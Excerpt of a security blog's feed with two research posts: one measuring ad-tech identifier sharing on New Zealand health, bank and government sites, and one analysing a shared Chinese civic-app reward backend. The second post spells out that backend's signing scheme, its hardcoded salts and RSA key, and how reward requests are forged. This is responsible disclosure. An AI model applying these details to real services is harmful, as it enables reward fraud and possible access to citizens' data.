</ul>]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[A 16 actor map of a Chinese reward farming scene, built out from a single GitHub repo over a weekend. The operators know GitHub is dangerous and scrub their history religiously, but they defend the page and forget the graph: the scrub itself is a trace, and the deobfuscator they all forked is a public register of who's in the scene.]]></summary></entry><entry><title type="html">The Trade Desk is on your health portal, your bank, and the lottery</title><link href="https://neurowinter.com/security/2026/07/27/The-trade-desk-on-health-bank-lottery/" rel="alternate" type="text/html" title="The Trade Desk is on your health portal, your bank, and the lottery" /><published>2026-07-27T00:00:00+12:00</published><updated>2026-07-27T00:00:00+12:00</updated><id>https://neurowinter.com/security/2026/07/27/The-trade-desk-on-health-bank-lottery</id><content type="html" xml:base="https://neurowinter.com/security/2026/07/27/The-trade-desk-on-health-bank-lottery/"><![CDATA[<h2 id="tldr">TLDR:</h2>

<ul>
  <li>Two buy-side ad brokers, <strong>The Trade Desk</strong> and <strong>Xandr</strong>, each receive a persistent cross-site identifier from <strong>six of the ten</strong> sensitive New Zealand sites I checked: a patient portal, a bank, the national lottery, a city council and two universities.</li>
  <li>On <code class="language-plaintext highlighter-rouge">managemyhealth.co.nz</code> the two of them swap identifiers with each other mid page. The cookie match request is in the post.</li>
  <li>Across the whole corpus, <strong>77 of 104 publishers</strong> send at least one persistent identifier to a third party.</li>
  <li>Every one of those requests carries <code class="language-plaintext highlighter-rouge">gdpr=0</code> and an empty consent string. The ad-tech consent vocabulary has no concept of New Zealand law at all, so no interaction of a NZ reader governs any of it.</li>
  <li><strong>IPP 3A came into force on 1 May 2026.</strong> It requires an agency collecting your personal information from a source other than you to take reasonable steps to tell you who they are and what they took. As far as I can find, nobody had measured the NZ surface against it.</li>
  <li><code class="language-plaintext highlighter-rouge">temu.com</code> runs cookie match pixels on nine major NZ sites. I could not show it links them server side, and I have left that failed escalation in the post.</li>
  <li><strong>This is not a breach finding.</strong> Every party named here may have a lawful basis I cannot observe from a browser.</li>
</ul>

<hr />

<p>You think you visited one website. You met 122 companies.</p>

<p>I went looking because of a talk. At BSides Brisbane,
<a href="https://www.linkedin.com/in/ryan-williams-4068351b8/">D8RH8R</a> took apart SS7
signalling firewalls: seven ways a legal-but-unusual BER encoding makes the
firewall and the network element disagree about what a message says, so the
firewall passes a query it should have blocked. He closed by saying that was all
old tech, and the interesting unexplored surface now is ad tech. He gets the
credit for the direction and none of the blame for what I did with it.</p>

<p>A short primer, because the vocabulary is genuinely awful. When a page loads an
ad slot it does not load an ad. It runs an auction, in the few hundred
milliseconds before you see anything, and every bidder is software. The slots
are called <strong>inventory</strong> ie the different ad locations on the page. A
<strong>supply-side platform</strong> works for the publisher and sells inventory. A
<strong>demand-side platform</strong>, or DSP, works for the advertiser and buys it.</p>

<p>That naming is the worst part of the field, so it is worth stating clearly (or
attempt to): the advertiser is the one <em>demanding</em> inventory, so the firm
bidding on the advertiser’s behalf is the <strong>demand side</strong> platform and is also
called <strong>buy side</strong>. Same thing. I use buy-side below because it is the clearer
word for what they are: buyers of ad locations. And for an auction to be worth
running, the buyers have to know who they are bidding on. That is what the
identifiers are for. The more info the have the better it is for them. The
advertisers will know they type of person you are the sites you visit your
location etc etc.</p>

<p>I loaded New Zealand’s most visited sites in a real browser and recorded every
identifier handed to every third party, with full provenance back to the raw
request. Opening <code class="language-plaintext highlighter-rouge">1news.co.nz</code> introduces you to 122 distinct companies.
<code class="language-plaintext highlighter-rouge">nzherald</code>, 121. <code class="language-plaintext highlighter-rouge">stuff</code>, 103. Most of them you have never heard of, and none of
them you chose.</p>

<p>One note on those counts before you compare them to anyone else’s. I ran every
site twice, once on a fresh profile and once on a warmed one carrying history,
and the fresh profile produced about 26% more identifier bearing requests, which
will be turned into its own post eventually.</p>

<p>I expect a news site to load a hundred advertisers’ worth of code. That is what
a free news site is, and it is bad enough. The sites below are the ones that
surprised me.</p>

<h2 id="the-same-two-ad-brokers-are-on-the-sites-that-should-know-better">The same two ad brokers are on the sites that should know better</h2>

<p><strong>The Trade Desk</strong> and <strong>Xandr</strong> are buy-side platforms. Their entire business
is bidding on ad slots for advertisers. They have no product for you, no account
you hold, no reason to know who you are. And each of them receives a persistent
cross-site identifier from six of the ten sensitive New Zealand sites I checked:</p>

<table>
  <thead>
    <tr>
      <th>Site</th>
      <th>What it is</th>
      <th>Buy-side firm receiving a persistent ID</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">managemyhealth.co.nz</code></td>
      <td>patient portal</td>
      <td>The Trade Desk, Xandr</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">mylotto.co.nz</code></td>
      <td>national lottery</td>
      <td>The Trade Desk, Xandr</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">westpac.co.nz</code></td>
      <td>bank</td>
      <td>The Trade Desk, Xandr</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">ccc.govt.nz</code></td>
      <td>city council</td>
      <td>The Trade Desk, Xandr</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">waikato.ac.nz</code></td>
      <td>university</td>
      <td>The Trade Desk, Xandr</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">auckland.ac.nz</code></td>
      <td>university</td>
      <td>The Trade Desk, Xandr</td>
    </tr>
  </tbody>
</table>

<p>An identifier on its own is just a random string assigned to you. It starts
mattering when the same company receives the string <em>and</em> the page it arrived
on, because then it can write a row: <em>this identifier was observed visiting a
patient-portal domain</em>. On <code class="language-plaintext highlighter-rouge">managemyhealth</code>, The Trade Desk got exactly that
pairing. These are firms that see you across most of the web, so the visit
doesn’t sit alone. That is what the design is for: on their side, one value
arriving from a patient portal and again from <code class="language-plaintext highlighter-rouge">mylotto</code> is a single profile
carrying both, which is the kind of context that supports a health-related
inference.</p>

<p>And the two brokers don’t just receive the identifier: they reconcile it with
each other. Captured mid-handshake on the health portal, The Trade Desk hands its
ID to Xandr and asks for Xandr’s in return:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://match.adsrvr.org/track/cmf/appnexus?ttd=1&amp;anid=$UID&amp;ttd_tdid=b0171955-c02d-42f1-a215-b2274ee35e96
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">match.adsrvr.org</code> is The Trade Desk; <code class="language-plaintext highlighter-rouge">appnexus</code> is Xandr’s former name; <code class="language-plaintext highlighter-rouge">cmf</code> is
cookie-match-feed. The identifier is <code class="language-plaintext highlighter-rouge">ttd_tdid</code>: The Trade Desk’s <em>cross-site</em>
identifier, the one built to follow you everywhere. That word is doing the work.
An auction-scoped token is a receipt for one ad sale and is meaningless an hour
later. A cross-site identifier is a name, and it is built to still mean you
tomorrow, on a different site.</p>

<p>I should be honest about the limits here, because they matter. I visited public
pages with no account, and a crawler has no diagnosis to leak and no lottery
ticket. That doesn’t defuse it: the sensitive fact isn’t the page, it’s the
<strong>domain</strong>. And on my cold profile the <code class="language-plaintext highlighter-rouge">ttd_tdid</code> was a fresh value on each site,
so I <em>cannot</em> show the same person linked across the health portal and the bank
from this data. A fresh browser is the one case where that identifier <em>doesn’t</em>
persist. For a real visitor carrying a Trade Desk cookie, a cross-site identifier
is exactly what it is designed to be. What happens behind a login, where a real
patient’s activity lives, is worse and is where a browser can’t follow.</p>

<h2 id="the-worked-example-temu-is-running-the-matching-hub">The worked example: Temu is running the matching hub</h2>

<p>The most legible single case is one you wouldn’t expect. <code class="language-plaintext highlighter-rouge">temu.com</code> (the Chinese
shopping app) receives persistent identifiers on nine major NZ sites. The full
request URL is the whole story:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.temu.com/api/adx/cm/pixel-opera?adx_uid=75c07d23...&amp;gdpr=&amp;gdpr_consent=&amp;us_privacy=&amp;redir=https%3A%2F%2Ft.oa.opera.com%2Fsync%3Fvendor%3D60369...
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">cm</code> is cookie-match: the mechanism two ad companies use to agree that their
separate IDs for you are the same person. These are Temu’s own match pixels, one
per partner, receiving IDs from Google AdX, Smaato and Outbrain and redirecting
onward to sync them. Consent fields present and blank.</p>

<p>The sensational version is “Temu tracks one reader across nine sites.” I couldn’t
make it hold up with my test bench. The <code class="language-plaintext highlighter-rouge">adx_uid</code> is a different value on every
site (a per-match token, not a stable ID), and the only cookie Temu sets is
Cloudflare’s bot-detection token, non-identifying by design, on fresh and warmed
profiles alike. So it stays here: <strong>Temu runs the matching plumbing, consent
empty, on nine major NZ sites; whether it links that server-side, a browser can’t
see.</strong> I’m leaving the failed escalation in because the finding is more solid for
it. However, I think if the test bench had browsed to more sites, maybe even
signed into to temu it might have used that cookie.</p>

<h2 id="the-law-it-runs-into">The law it runs into</h2>

<p>On consent: these sends carry <code class="language-plaintext highlighter-rouge">gdpr=0</code> (an assertion that GDPR does not apply,
which for a New Zealander is correct) and an empty consent string. There is no
New Zealand signal in the request at all, because the ad-tech consent vocabulary
has no concept of New Zealand law. A NZ reader is described to the market in the
language of a regime that doesn’t cover them, and no interaction of theirs governs
any of it. That doesn’t prove nobody was told anything. It shows that if a New
Zealand notice governs this collection, the auction transaction carries no sign
of it.</p>

<p>This is where New Zealand’s <strong>IPP 3A</strong> comes in, and it’s worth being precise
about which principle does what. IPP 2 is the one that says collect personal
information from the person concerned, unless an exception applies. IPP 3A is
new and it points the other way: it came into force on 1 May 2026, and it says
that if you collect someone’s personal information from a source other than
them, you have to take reasonable steps to make them aware of it. What you have
to tell them is spelled out: that you collected it, why, who else gets it, your
name and address, and how they can access and correct it.</p>

<p>Programmatic ad tech looks like indirect collection by design. The request leaves
your browser, but nothing in it is something you handed the broker: the
publisher’s ad stack builds it and fires it. Whether that counts as indirect
collection for the purposes of IPP 3A hasn’t been tested. If it does, the OPC’s
guidance puts the duty on the indirect collector, and says that where there’s a
chain of disclosure and collection, every agency in that chain carries its own
obligation. The Trade Desk handing its ID to Xandr and taking Xandr’s back is a
chain. Neither of them has ever shown itself to me.</p>

<p>One line in the OPC’s guidance is hard to read any other way. There’s an
exception for collections that wouldn’t prejudice the person’s interests, and
the guidance gives an example of when it does <em>not</em> apply: collecting data to
build profiles of individuals for targeted advertising.</p>

<p>Across the whole corpus, <strong>77 of 104 publishers</strong> send at least one persistent
identifier to a third party. As far as I can find, nobody had measured the NZ
surface against it.</p>

<h2 id="limits">Limits</h2>

<p>Not a breach finding. I have no view of notice given elsewhere, processor
contracts, prior authorisation, or IPP 3A’s exceptions. Every party may have a
lawful basis I can’t observe. Two defences in particular are open and I can’t
close either from a browser: whether a pseudonymous ad ID is personal
information about an identifiable individual at all, and whether notification is
reasonably practicable for an agency that holds no contact details for you.
What I’m reporting is a mechanism and its reach: buy side ad brokers collecting
persistent identifiers from New Zealand’s health, banking, government and
education sites, measured against the principle that applies. Someone with more
authority than a browser and a weekend should look at the rest.</p>

<p>Every number in this post rederives from the captured data. Each observation is
stored content addressed with its raw request, so <code class="language-plaintext highlighter-rouge">77 of 104</code>, the buy side table,
the <code class="language-plaintext highlighter-rouge">−26%</code>, the per-visit <code class="language-plaintext highlighter-rouge">ttd_tdid</code>, and the <code class="language-plaintext highlighter-rouge">gdpr=0</code> consent state are all
queries against the same evidence, not figures I eyeballed. If you’re at the OPC,
or you run one of the sites named here and want the raw captures for your own
domain, get in touch.</p>]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[Loaded New Zealand's most visited sites in a real browser and logged every identifier handed to a third party. Two ad brokers with no consumer product turned up on a patient portal, a bank, the national lottery and a city council. Here is what that looks like on the wire, and what IPP 3A has to say about it.]]></summary></entry><entry><title type="html">Forging the government’s lottery: China’s civic apps run on a shared reward backend with no real secret</title><link href="https://neurowinter.com/security/2026/07/16/forging-the-government-lottery/" rel="alternate" type="text/html" title="Forging the government’s lottery: China’s civic apps run on a shared reward backend with no real secret" /><published>2026-07-16T00:00:00+12:00</published><updated>2026-07-16T00:00:00+12:00</updated><id>https://neurowinter.com/security/2026/07/16/forging-the-government-lottery</id><content type="html" xml:base="https://neurowinter.com/security/2026/07/16/forging-the-government-lottery/"><![CDATA[<h2 id="tldr">TLDR:</h2>

<ul>
  <li>The civic apps in this scene are not bespoke. The city app and the
state media apps are mostly just thin skins over a handful of B2B
“interactive marketing” SaaS providers eg <strong>tmuyun (天目云), aihoge, jinhua
(金华云), and Duiba (兑吧)</strong>. They are separated only by a <code class="language-plaintext highlighter-rouge">client_id</code>.</li>
  <li>The signing that is supposed to make their reward campaigns unforgeable has
<strong>no real secret</strong>. The GET signature uses a <strong>public salt</strong>, and the login
HMAC key is <strong>served to you on request</strong> by an init endpoint, and every input is
attacker known, and eaisly mapable.</li>
  <li>The campaigns these tenants run eg daily sign-in bonus, read an article for
points, quiz/”study” completion, sweepstakes draws, are all forgeable self
serve. And the same shared signing scheme also guards the account and
member endpoints, so the same forgery plausibly reaches the <strong>citizen
PII</strong> behind every tenant city, though I never exercised that half.</li>
  <li>Cash-out is to <strong>Alipay</strong> (<code class="language-plaintext highlighter-rouge">phone&amp;password&amp;支付宝姓名&amp;支付宝账号</code>).</li>
  <li>The part that makes this more than commercial fraud: <strong>state-media loyalty
farming</strong> on the same shared base above, and on separate infra
(<code class="language-plaintext highlighter-rouge">bjsfxh.com</code> + <code class="language-plaintext highlighter-rouge">luckystarpay.com</code>) <strong>Beijing government quizzes
auto-answered by an LLM</strong> (Xunfei Spark) for cash lottery. Inflating
engagement on state content and gaming a government reward program is a scary
thing to do in China…</li>
  <li>It’s not just one operator. The same base SaaS turns up in unrelated farmers’
scripts across at least two Zhejiang prefectures and into Guangdong. The
providers, not any one farmer, are the only real concentrated attack surface.</li>
  <li>This was all found via the public GitHub repos, I did not hit any endpoint,
nor run any of the scripts, I merly read them.</li>
</ul>

<hr />

<h2 id="terms-in-this-post">Terms in this post</h2>

<p>If you landed here mid-series,
<a href="/security/2026/06/23/a-weekend-in-the-wool/">the hub post</a> has the whole
ecosystem overview and the full glossary. The load-bearing terms for this
one:</p>

<ul>
  <li><strong>wool / 薅羊毛</strong> — Chinese reward-farming. Running scripts on a schedule
(typically via Qinglong, a cron-job webui) to drain loyalty points,
coupons, and lottery payouts out of apps, then cashing out. The whole
scene this series is mapping.</li>
  <li><strong>script / wool script</strong> — the actual code the farmers run. Usually
Python or JavaScript, one file per targeted app. It logs in, hits the
app’s reward endpoints, and pockets the payout. In this post the ones I
read are all <strong>plaintext</strong> — no DRM, no loader, so I can read them line
by line.</li>
  <li><strong>farmer / operator</strong> — the person writing and running wool scripts.
This post leans mostly on <strong>qltrojan</strong> (<code class="language-plaintext highlighter-rouge">@xzxxn777</code>), a farmer whose
civic-app scripts I could read straight through.</li>
  <li><strong>SaaS (multi-tenant)</strong> — one backend serving many branded apps,
separated only by a <code class="language-plaintext highlighter-rouge">client_id</code>. The whole story turns on this.</li>
  <li><strong>client_id / tenant_id</strong> — the per-app identifiers. Swap them and
you’re talking to a different city on the same backend.</li>
  <li><strong>signing salt / HMAC</strong> — the “secret” that’s <em>meant</em> to make requests
unforgeable. Here the salt is public and the key is served on request.</li>
  <li><strong>ddddocr</strong> — an open-source deep-learning OCR that solves the slider
and image CAPTCHAs these campaigns use.</li>
  <li><strong>Duiba (兑吧) / tmuyun (天目云) / aihoge / jinhua (金华云)</strong> — the
shared civic-marketing SaaS providers this post is about.</li>
  <li><strong>Alipay cash-out</strong> — sweepstakes winnings paid to a real Alipay
account, stored in the farming script’s config.</li>
  <li><strong>ev2</strong> — the sealed-payload format from
<a href="/security/2026/06/23/the-great-rust-wall/">the Rust wall post</a> — the
DRM-tier scripts I could <em>not</em> decrypt. Shows up once in “Where it stops”:
one ev2 payload lines up with a civic app on this SaaS, most don’t.</li>
</ul>

<hr />

<h2 id="background-the-civic-app-that-didnt-look-special">Background: the civic app that didn’t look special</h2>

<p>This one started with a qltrojan script, the same gov app farmer (<code class="language-plaintext highlighter-rouge">@xzxxn777</code>)
from the last posts pointed at a city app. 西施眼 (Zhuji), 掌上武义 (Wuyi),
今日越城 (Shaoxing): small regional civic apps, the sorta thing a local government
stands up for citizen engagement, training, and surveys. Sign in daily, read
some articles, earn a few points, maybe win a lottery draw. Nothing that should
have caught my eye, honestly, this is super common these days, think of those
daily bonuses on mobile games. I only opened the first one because it was a
government app and I wanted to see what a Chinese city was actually running
under the hood, and why some app farmer was interested in it. If they saw
something, maybe I should be looking too!</p>

<p>Then I opened the second one and something felt off. Same <code class="language-plaintext highlighter-rouge">/api/account/init</code>.
Same <code class="language-plaintext highlighter-rouge">/web/init?client_id=</code>. Same <code class="language-plaintext highlighter-rouge">/api/user_mumber/sign</code> (No that is not a
Neuro mispelling). Same <code class="language-plaintext highlighter-rouge">/api/zbtxz/login</code>. Different city, different
<code class="language-plaintext highlighter-rouge">client_id</code>, different <code class="language-plaintext highlighter-rouge">xsb_&lt;region&gt;</code> code, and otherwise the same script. So I
opened a third. Same again.. I am starting to see the theme here.</p>

<p>These weren’t bespoke apps. They were tenants. Once you see that, the
interesting target stops being any one civic app and becomes the handful of
SaaS providers they all sit on. That’s the moment this stopped being a farmer
story and became a SaaS story.</p>

<hr />

<h2 id="the-providers-the-real-subject">The providers (the real subject)</h2>

<p>There are four B2B “interactive-marketing” SaaS providers doing the heavy
lifting across the farmed apps, and each one is multi-tenant. You can see it in
the endpoint surface: byte-identical across every tenant script I read, only
the <code class="language-plaintext highlighter-rouge">client_id</code> and <code class="language-plaintext highlighter-rouge">xsb_&lt;region&gt;</code> codes changing between them. Which makes
sense, every prefecture in China isn’t standing up its own bespoke in house
points and lottery stack, they’re all buying it from the same handful of
vendors.</p>

<table>
  <thead>
    <tr>
      <th>Provider</th>
      <th>Role</th>
      <th>Hosts</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>tmuyun / 天目云</strong></td>
      <td>Account + media-content engagement (the shared base)</td>
      <td><code class="language-plaintext highlighter-rouge">passport.tmuyun.com</code> (SSO), <code class="language-plaintext highlighter-rouge">vapp.tmuyun.com</code></td>
    </tr>
    <tr>
      <td><strong>aihoge</strong></td>
      <td>Activity SaaS — sweepstakes / news / member</td>
      <td><code class="language-plaintext highlighter-rouge">m.aihoge.com</code>, <code class="language-plaintext highlighter-rouge">xingyun.aihoge.com</code></td>
    </tr>
    <tr>
      <td><strong>cloud.jinhua / 金华云</strong></td>
      <td>Quiz/”study” + wheel sweepstakes</td>
      <td><code class="language-plaintext highlighter-rouge">op-api.cloud.jinhua.com.cn</code></td>
    </tr>
    <tr>
      <td><strong>Duiba / 兑吧</strong></td>
      <td>Third-party lottery/prize SaaS</td>
      <td><code class="language-plaintext highlighter-rouge">*.activity-42.m.duiba.com.cn</code></td>
    </tr>
  </tbody>
</table>

<p>Each farmed app chains a few of these providers together. <code class="language-plaintext highlighter-rouge">YueCheng.js</code> (越城)
does account + content on <strong>tmuyun</strong>, then a quiz on <strong>jinhua</strong>, then the
lottery draw on <strong>Duiba</strong>. <code class="language-plaintext highlighter-rouge">DaChao.js</code> (大潮, Guangdong) does the whole account
content activity stack on <strong>aihoge</strong>. <code class="language-plaintext highlighter-rouge">TongLu.js</code> (桐庐) rides tmuyun then a
separate PHP style lottery engine. And that’s four distinct sweepstakes engines
across five scripts, which is how I know these are four separate providers
being stitched together, not one big vendor with multiple product lines.</p>

<hr />

<h2 id="one-client_id-to-rule-them-the-multi-tenant-model">One <code class="language-plaintext highlighter-rouge">client_id</code> to rule them: the multi-tenant model</h2>

<p>Here’s the thesis, and it comes in two halves.</p>

<p>First: <code class="language-plaintext highlighter-rouge">tmuyun.com</code> and <code class="language-plaintext highlighter-rouge">aihoge.com</code> are running the <strong>same base software</strong>.
Not similar, not same functionality, but the same.</p>

<p>Every one of these lines up between them:</p>

<ul>
  <li>The account endpoints: <code class="language-plaintext highlighter-rouge">/api/account/init</code>, <code class="language-plaintext highlighter-rouge">/web/init?client_id=</code>,
<code class="language-plaintext highlighter-rouge">/api/zbtxz/login</code>.</li>
  <li>The member endpoints: <code class="language-plaintext highlighter-rouge">/api/user_mumber/*</code> (yes, same typo on both).</li>
  <li>The content endpoints: <code class="language-plaintext highlighter-rouge">/api/article/*</code>.</li>
  <li>The <code class="language-plaintext highlighter-rouge">zbtxz</code> SSO path itself, which is not a generic name.</li>
  <li>The signing salt (same short string, hardcoded, identical on both).</li>
  <li>The <code class="language-plaintext highlighter-rouge">xsb_&lt;region&gt;</code> tenant code scheme.</li>
</ul>

<p>That’s no coincidence, and it’s not two vendors happening to both use the same
conventions. Two teams or companies dont both call their endpoint
<code class="language-plaintext highlighter-rouge">/api/user_mumber/</code> with the same typo. So the honest options are: one vendor
running two clouds, one vendor selling a license, or a shared white label SDK.
Which of those it actually is, I can’t tell.</p>

<p>Second half, and this is the point of the post. Whichever of those it is, the
consequence is the same: each provider serves many cities through one
<code class="language-plaintext highlighter-rouge">client_id</code> keyed campaign API. So the exposure is the <strong>provider</strong>, not the
app. Reach one provider’s activity API, map it out and figure out how to game
it, and you can game all of their clients.</p>

<p>The plaintext scripts alone name ten civic tenants across three Zhejiang
prefectures and one Guangdong prefecture, and the <code class="language-plaintext highlighter-rouge">xsb_&lt;region&gt;</code> naming
scheme means there might be many more <code class="language-plaintext highlighter-rouge">xsb_&lt;something&gt;</code> tenants I never saw a
script for. And this is the same shape as the commercial brand case: one
Weimob endpoint (<code class="language-plaintext highlighter-rouge">xapi.weimob.com</code>) fronts 100+ retail brands through tenant
IDs the same way, and the same farmers hit it with the same playbook.</p>

<p>Civic is just a worse version of that pattern: the tenants are cities and
government programs, and what sits behind the campaigns is citizen PII and
public trust, not coupon budgets.</p>

<hr />

<h2 id="its-not-one-operator">It’s not one operator</h2>

<p>If this were one farmer, it would be a smaller story. It isn’t. The
<strong>tmuyun</strong> base turns up in scripts from operators with no connection to
qltrojan:</p>

<ul>
  <li><strong>Taizhou (台州)</strong>: <code class="language-plaintext highlighter-rouge">passport.tmuyun.com</code> in Sembrono’s scripts, and the
same base farmed by the <strong>爱仙居 (仙居县)</strong> author (Telegram <code class="language-plaintext highlighter-rouge">t.me/fxmbb</code>,
invite codes handed out publicly).</li>
  <li><strong>Guangdong</strong>: aihoge running the identical base for 大潮 (潮汕).</li>
</ul>

<p>So the shared base spans at least two Zhejiang prefectures and reaches into
Guangdong, farmed by multiple independent operators. That’s the tell that
the <strong>provider</strong> is the attack surface, not any one farmer. The
concentration is in the SaaS, and every tenant inherits its weaknesses.</p>

<blockquote>
  <p><strong>Reach beyond the cast:</strong> qltrojan’s civic suite travels further than
the operators I mapped. A fork of <code class="language-plaintext highlighter-rouge">smallfawn/decode_action</code> surfaced a
full mirror of it on a subscriber’s iOS device (<code class="language-plaintext highlighter-rouge">bhlzjy/Surge</code>), and
<code class="language-plaintext highlighter-rouge">zjk2017/ArcadiaScript</code> redistributes the same civic scripts to its own
community. Full distribution map is in the cast and tradecraft post.</p>
</blockquote>

<hr />

<h2 id="the-signing-scheme-reconstructed-why-it-isnt-a-secret">The signing scheme, reconstructed: why it isn’t a secret</h2>

<p>The campaign requests are signed two ways, and neither one carries a
real per client secret.</p>

<p><strong>The GET signature</strong> is a SHA-256 over a fixed field order:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>signature = SHA256( path &amp;&amp; sessionId &amp;&amp; uuid &amp;&amp; time &amp;&amp; salt &amp;&amp; tenantId )
</code></pre></div></div>

<ul>
  <li><code class="language-plaintext highlighter-rouge">path</code> is the URL with the query stripped, <code class="language-plaintext highlighter-rouge">time</code> is <code class="language-plaintext highlighter-rouge">Date.now()</code>, <code class="language-plaintext highlighter-rouge">uuid</code>
is a random v4. All attacker known.</li>
  <li><code class="language-plaintext highlighter-rouge">salt</code> is a short static string, and yup this is <strong>public</strong>, hardcoded
identically in every farmer’s plaintext script. And here it is: <code class="language-plaintext highlighter-rouge">FR*r!isE5W</code></li>
</ul>

<p><strong>The login signature</strong> is an <code class="language-plaintext highlighter-rouge">HMAC-SHA256</code>. This is the one that should
have been a real secret, and it’s the one where the design gives itself
away:</p>

<ul>
  <li>The HMAC key is called <code class="language-plaintext highlighter-rouge">signature_key</code>, and the client doesn’t ship with
it. Instead, the client asks for it: <code class="language-plaintext highlighter-rouge">GET /web/init?client_id=&lt;id&gt;</code> and
the server hands the key back in the response. Every call to a fresh
<code class="language-plaintext highlighter-rouge">client_id</code> gets served its own HMAC key on request.</li>
  <li>The password in the login body <em>is</em> encrypted, RSA-1024 under a
hardcoded public key. But that’s transport encryption, so nobody on the
wire can read the password. It’s not authentication, and it doesn’t
stop the caller from forging the signature. Also RSA-1024 has been considered too weak for
<a href="https://en.wikipedia.org/wiki/Key_size#Asymmetric_algorithm_key_lengths">over a decade</a> —
NIST disallowed it for new keys after 2013 (see
<a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar2.pdf">SP 800-131A</a>),
and current guidance is a minimum of 2048 bits. Not the load bearing
bit of the story here, but a tell about how much thought went into
any of this.</li>
</ul>

<p>One honest caveat on the init-endpoint claim: I know the client calls
<code class="language-plaintext highlighter-rouge">/web/init</code> <em>before</em> login, because that’s what the plaintext scripts
do — it’s the bootstrap step that gets you the key you then need for the
login signature. What I haven’t verified is that the endpoint accepts a
request from an entirely fresh caller with no prior state at all. I
never made that call. If it turns out to have some invisible gating (IP
allowlist, referer check, an app-token cookie set by an earlier
handshake I haven’t found), the forgery story tightens by exactly that
much. My read is that it doesn’t, because the scripts don’t carry any
such state and the flow makes no sense otherwise, but that’s an
inference, not something I proved on the wire.</p>

<p>Put together: for any <code class="language-plaintext highlighter-rouge">client_id</code>, ask the init endpoint for the key, take
the public salt, and you can forge every signature the campaign API expects.
Nothing has to be <em>compromised</em>, the design hands you everything. The
<code class="language-plaintext highlighter-rouge">getParams</code>/<code class="language-plaintext highlighter-rouge">getBody</code> code that produces these signatures is sitting in
plaintext in every farmer’s script and it’s byte-identical across all five,
so I’m confident it’s the real thing and not one operator’s misreading.</p>

<p>For completeness, here’s the rest of the fingerprint. aihoge layers a
second SHA-256 salt on top of the base one for its member signature
(<code class="language-plaintext highlighter-rouge">/memberhy/tm/signature</code>): <code class="language-plaintext highlighter-rouge">KO&gt;N&lt;O5&amp;3^L1#YH0H1#G91*2H</code>. And the login-body
RSA-1024 pubkey — the one that gives you transport encryption on the
password but no authentication of the caller — is this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD6XO7e9YeAOs+cFqwa7ETJ
+WXizPqQeXv68i5vqw9pFREsrqiBTRcg7wB0RIp3rJkDpaeVJLsZqYm5TW7F
Wx/iOiXFc+zCPvaKZric2dXCw27EvlH5rq+zwIPDAJHGAfnn1nmQH7wR3PCa
tEIb8pz5GFlTHMlluw4ZYmnOwg+thwIDAQAB
</code></pre></div></div>

<p>None of these are secrets in any meaningful sense. They’re in five
plaintext GitHub repos already, they’ve been there for months, and anyone
who wanted them has already got them. Holding them here would only hide
the shape of the problem from the people who need to see it — the
vendors, the tenants embedding this SaaS, and anyone else running the
same “public salt plus served key” design and wondering if it’s fine.
It isn’t.</p>

<hr />

<h2 id="what-gets-farmed-and-the-cash-out">What gets farmed, and the cash-out</h2>

<p>The campaign actions are mundane loyalty mechanics, automated end to end:
read for points (with a hardcoded dwell time the script isn’t even
pretending to read the article), like and share tasks, daily sign in,
quiz/”study” completion, and the sweepstakes draw. Points and prizes
convert to cash, paid straight to an Alipay account the script carries in
its config (<code class="language-plaintext highlighter-rouge">phone&amp;password&amp;支付宝姓名&amp;支付宝账号</code>).</p>

<p>The CAPTCHA in front of the draws is solved with <code class="language-plaintext highlighter-rouge">ddddocr</code> and the
operators runs their own instance of it, which is a nice touch. The exact
dwell constant, the slider-CAPTCHA bypass, and the point encryption trick
are in the attack mechanics post (soon come).</p>

<hr />

<h2 id="state-media-and-a-government-quiz-answered-by-an-llm">State media, and a government quiz answered by an LLM</h2>

<p>Everything above is broken engineering. Weimob has the same problem for
coupon budgets. The reason to care about this one specifically is what
sits behind the tenants. Two branches lift it out of “commercial fraud”
and into something I think matters more.</p>

<h3 id="manufactured-engagement-on-state-content">Manufactured engagement on state content</h3>

<p>The first branch is <strong>state media</strong>. The same account and content mechanics are
as follows: read this article, stay N seconds, like, share, run against
state media apps like Qingdao’s <code class="language-plaintext highlighter-rouge">appnews.qingdaonews.com</code>. The farming here
isn’t just points theft. It’s <strong>manufactured engagement on state content</strong>, at
whatever scale the operator wants.</p>

<p>Engagement metrics on state media aren’t just a vanity number like the reshares
on my bsky posts. They feed a feedback loop that impact real decisions. Which
story got promoted this week, which topic gets more resource next quarter,
which framing an editor was rewarded for,  which propaganda line “landed” and
which one didn’t, what the population of that prefecture are interested in.
Those decisions are made against numbers, and those numbers are supposed to
represent what actual citizens actually read, and interact with.</p>

<p>If the top read article for a week is inflated by a Qinglong cron running
a <code class="language-plaintext highlighter-rouge">read_time=5938</code> GET against a headless news API, then the editors
optimising to that column are optimising toward a bot’s taste in
articles. The propaganda effectiveness read out is measuring the wrong
population. The scripts don’t know or care what’s in the article. They
just report having read it. Any decision made downstream of “which
articles are performing” is now, in part, being made about scripts.</p>

<p>However while the scripts dont care, they can be made to care, if an operator
wants to inflate particular articles they can, they can drive engagement
towards something they care about, or bad publicity article of their
competitor, etc.</p>

<p>This isn’t a hypothetical harm. It’s the harm the platform’s <em>own</em>
metrics are supposed to prevent, and this one signing scheme lets any
farmer with a <code class="language-plaintext highlighter-rouge">client_id</code> become a plausible reader at whatever scale
they want.</p>

